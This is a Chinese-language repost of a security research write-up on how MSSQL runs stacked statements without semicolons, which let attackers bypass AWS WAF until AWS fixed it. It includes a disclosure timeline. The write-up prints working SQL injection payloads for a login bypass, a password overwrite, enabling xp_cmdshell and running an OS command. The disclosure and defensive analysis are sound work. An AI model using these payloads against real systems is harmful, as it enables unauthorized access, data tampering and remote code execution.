AWS WAF 十字线内的 MSSQL ServerMSSQL 中未记录的设计选择导致 Web 应用程序防火墙 (WAF) 供应商对 SQL 的考虑过于严格。此类问题可以绕过 WAF 提供的安全保护。这种特定的混乱是由 Microsoft 造成的,因为他们的 SQL 引擎在接受的内容上是宽松的。然而,现在 WAF 供应商需要在他们的 SQL 解析器中重新实现这种宽松的态度。自我们通知 AWS 以来,该特定问题已由 AWS 修复。请继续阅读所有血淋淋的细节去年年底,我们使用 MSSQL 来更好地理解基于时间的注入是如何工作的,因为备忘单并不总是清楚它为什么会这样工作。这样做时,当以下语句起作用时,我们感到很困惑:SELECT * FROM test WHERE id = 1 WAITFOR DELAY'0:0:5'
查询结束时没有任何类型的终止,数据库等待五秒钟,然后生成没有任何错误的结果。起初,我们认为 WAITFOR 可能是 SELECT 查询中的有效关键字,但事实并非如此。然后,我们更进一步,连续运行两个查询并分别获取两个结果:如果我们查看 SQL Server Profiler 中发生的情况,我们可以看到每个语句都是单独完成的,即使它们是在同一批中发送的,中间没有任何终止来分割它们:认识到这一点,我们继续探索。我们决定连续编写多个 SQL 语句,不留任何空格:然后,我们想知道是否可以使用 SELECT 之外的其他语句来执行此操作。此外,是否可以没有任何类型的空格或已知的空格替换(例如内联注释)?答案是肯定的,但保留关键字之间需要空格的语句除外。例如,CREATE TABLE 或 ALTER TABLE 在两个保留关键字之间仍然需要一些空格。否则,下图显示可以更改数据库上下文、创建表、在表中插入数据、从表中选择数据并删除表:上面这批语句是:
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
这相当于以下内容:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
有了所有这些信息,我们不得不想,这是公开的吗?这是设计使然还是错误?还有谁知道这件事?它可以用来绕过 Web 应用程序防火墙 (WAF) 吗?经过一番研究;通过查看 Microsoft 关于 MSSQL 的文档、测试人员关于 MSSQL 注入的备忘单等,我们不得不得出这样的结论:这对于公众来说是未知的,并且它可能是 MSSQL 中无意的错误。摘自微软关于 SQL 注入的官方文档,它说“分号 (;) 表示一个查询的结束和另一个查询的开始。”:在同一个文档中,它还指出,作为开发人员,您可以拒绝一些字符以避免 SQL 注入,其中再次包含分号:在同一个文档中,它还指出,作为开发人员,您可以拒绝一些字符以避免 SQL 注入,其中再次包含分号:以下内容摘自另一个名为 Transact-SQL 语法约定 的 Microsoft 文档。根据本文档,分号仅在某些情况下是强制性的,并且在未来的版本中将是强制性的。但是,它没有说明如果不存在分号如何终止语句。
我们经常看到脚本包含多个不带分号的语句,而是包含换行符和 GO 语句。我们假设在同一行上运行多个语句的唯一方法是使用分号、IF、BEGIN、CASE WHEN 或其他条件语句。尽管这个假设在某种程度上是正确的,但也可以将它与许多其他语句一起使用。然后,根据多个测试人员的备忘单,实现堆叠查询的唯一方法是使用分号分隔符:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md#mssql-stacked-query
我们所见过的最接近的不带分隔符的堆叠查询是在 Microsoft 文档中,其中指出大多数语句不需要分号。目前还不清楚还能做什么。大多数其他示例都是条件注入,例如:IF (SELECT 1) = 1 WAITFOR DELAY '0:0:5' ELSE SELECT 0 END
我们的发现会让大多数数据库管理员和开发人员感到惊讶,因此,应该将其视为一个与条件注入不同的问题。因此,我们决定向 Microsoft 报告该漏洞,以确保这不是一个无意的错误,然后再向任何其他第三方公司(例如制作可以绕过此漏洞的 WAF 的公司)披露此漏洞。我们于2023年1月6日提交了报告,并于2月11日收到回复,表示“我们确定这种行为被认为是有意为之”。这就是“bug 还是功能?”这个问题的答案。我们现在知道这实际上是设计使然。但是用这个可以在 WAF 上做什么呢?他们知道这样的功能吗?滥用该错误绕过AWS Web应用程序防火墙(WAF)首先,我们尝试绕过 AWS WAF,而不使用任何查询终止(例如分号),并且不使用空格,或者如果可能的话,使用已知的替代品。但我们的努力似乎对“UPDATE”、“INSERT”、“DELETE”、“SELECT”等常用关键字不起作用。突然,我们使用“EXEC”关键字打通了WAF。这意味着可以从那里执行几乎任何操作,包括使用“UNION SELECT”绕过登录、使用“UPDATE”更新用户密码等数据,甚至启用“xp_cmdshell”以获得远程代码执行。以下示例显示用户“admin”的密码不是“testtest123”,因为应用程序响应“密码错误”:但是,如果我们使用“UNION SELECT”关键字来设置我们自己的管理员和我们自己的密码呢?WAF本来会阻止这个请求,但是如果由于最后的“EXEC”关键字而没有任何终止,它认为该查询无效怎么办?需要注意的是,查询的第一部分是假的,因此该查询返回的唯一数据是联合中的数据,这解释了“admina”用户名中的拼写错误。
admina'union select 1,'admin','testtest123'exec('select 1')--
它之所以有效,是因为从理论上讲,这批查询在 MSSQL 中是有效的,并且不会出现任何错误。在 MSSQL 中,批处理将分为两个不同的查询,如下所示:SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
我们的目标是绕过 WAF 的限制,让 WAF 认为查询无效,这样就不会阻止它。这意味着附加的“EXEC”关键字仅用于此目的。需要注意的是,第二个查询仍将在服务器上运行,但 Web 应用程序无法访问结果。因此,“SELECT”关键字只是为了绕过 WAF,但还有其他有趣的方式来使用此功能,例如数据修改。正如前面提到的,不可能直接使用用于修改数据的关键字,但是如果我们将它们与“EXEC”关键字一起使用,就像我们上面对“SELECT”所做的那样呢?下图显示浏览器正在使用 AWS CloudFront 并且身份验证成功。请注意,身份验证仅成功,因为在“UPDATE”发生之前密码为“admin”。图像中间显示的 Apache 日志显示,用户名参数包含恶意负载,该负载将把用户“admin”的密码修改为字母“a”。最后,图像的底部显示密码在数据库中被修改为字母“a”。admin'exec('update[users]set[password]=''a''')--
再次,它将分为两 (2) 个不同的语句,这些语句将执行以下操作:SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
通过这个旁路还能做什么?还记得我们提到启用“xp_cmdshell”并获得远程代码执行吗?下图显示我们通过一个 HTTP 请求成功启用了“显示高级选项”和“xp_cmdshell”。图像顶部显示在 SQL Server Profiler 中被拆分为多个语句的批处理。中间显示浏览器在 AWS CloudFront 上请求的部分负载。底部显示“显示高级选项”和“xp_cmdshell”现已启用。admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
然后,我们使用相同的技术来执行“xp_cmdshell”并通过以下方式在系统上获得远程代码执行:有效负载为:
admin'exec('xp_cmdshell''echo "This is a test!" > C:\Temp\test.txt''')--
在数据库服务器上执行了什么:
select * from users where username = 'admin'
exec('xp_cmdshell''echo "This is a test!" > C:\Temp\test.txt''')--
现在您已经在受 AWS WAF 保护的 MSSQL 服务器上远程执行代码了。但其他 WAF 又如何呢?我们尝试绕过 Azure 的 WAF 和 ModSecurity,但没有成功。对于使用 ModSecurity 和 libinjection 的开发人员来说,需要注意一件事:通过这种技术,我们在偏执级别 1 上获得了 5 的异常分数。因此,如果您将异常分数修改为更高,则可能容易受到这种技术的影响。
具有安全影响的设计选择
这个故事中真正的问题是缺乏有关此设计选择的文档,而不是功能本身。如果记录正确且透明,WAF 开发人员将能够更好、更有效地保护自己。与其他流行的 SQL 数据库相比,这种设计选择非常不寻常,而且不正确的文档才是它的问题所在。
时间线
2022-11-03:在进行 MSSQL 研究时发现的功能。
2023-01-06:将其作为安全错误报告给 Microsoft 安全响应中心。
2023-02-11:Microsoft 回应称这是设计使然,并非安全问题。
2023-02-14:通过电子邮件向 AWS 安全团队报告 WAF 绕过情况。
2023年2月15日:AWS回应称他们将调查此事。
2023 年 3 月 13 日:AWS 回应称他们正在修复问题。
2023-06-15:AWS 回复称该问题现已修复。
2023-06-19:我们确认了修复。
结论
与许多安全问题不同,这只是一种非正统且未记录的设计选择。这种设计选择使 AWS WAF 客户端无法免受利用此特定问题的 MSSQL 注入攻击。幸运的是,AWS 反应迅速,并与我们的团队进行了良好的沟通,以确保 WAF 正确保护客户免受此问题的影响。
文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247499292&idx=1&sn=1adc282edc0630d31643e7621d497751&chksm=9badb757acda3e4193348fdb49f29fef6a6162e7c37815103f58184da9df30a11acff8a27f8d#rd
如有侵权请联系:admin#unsafe.sh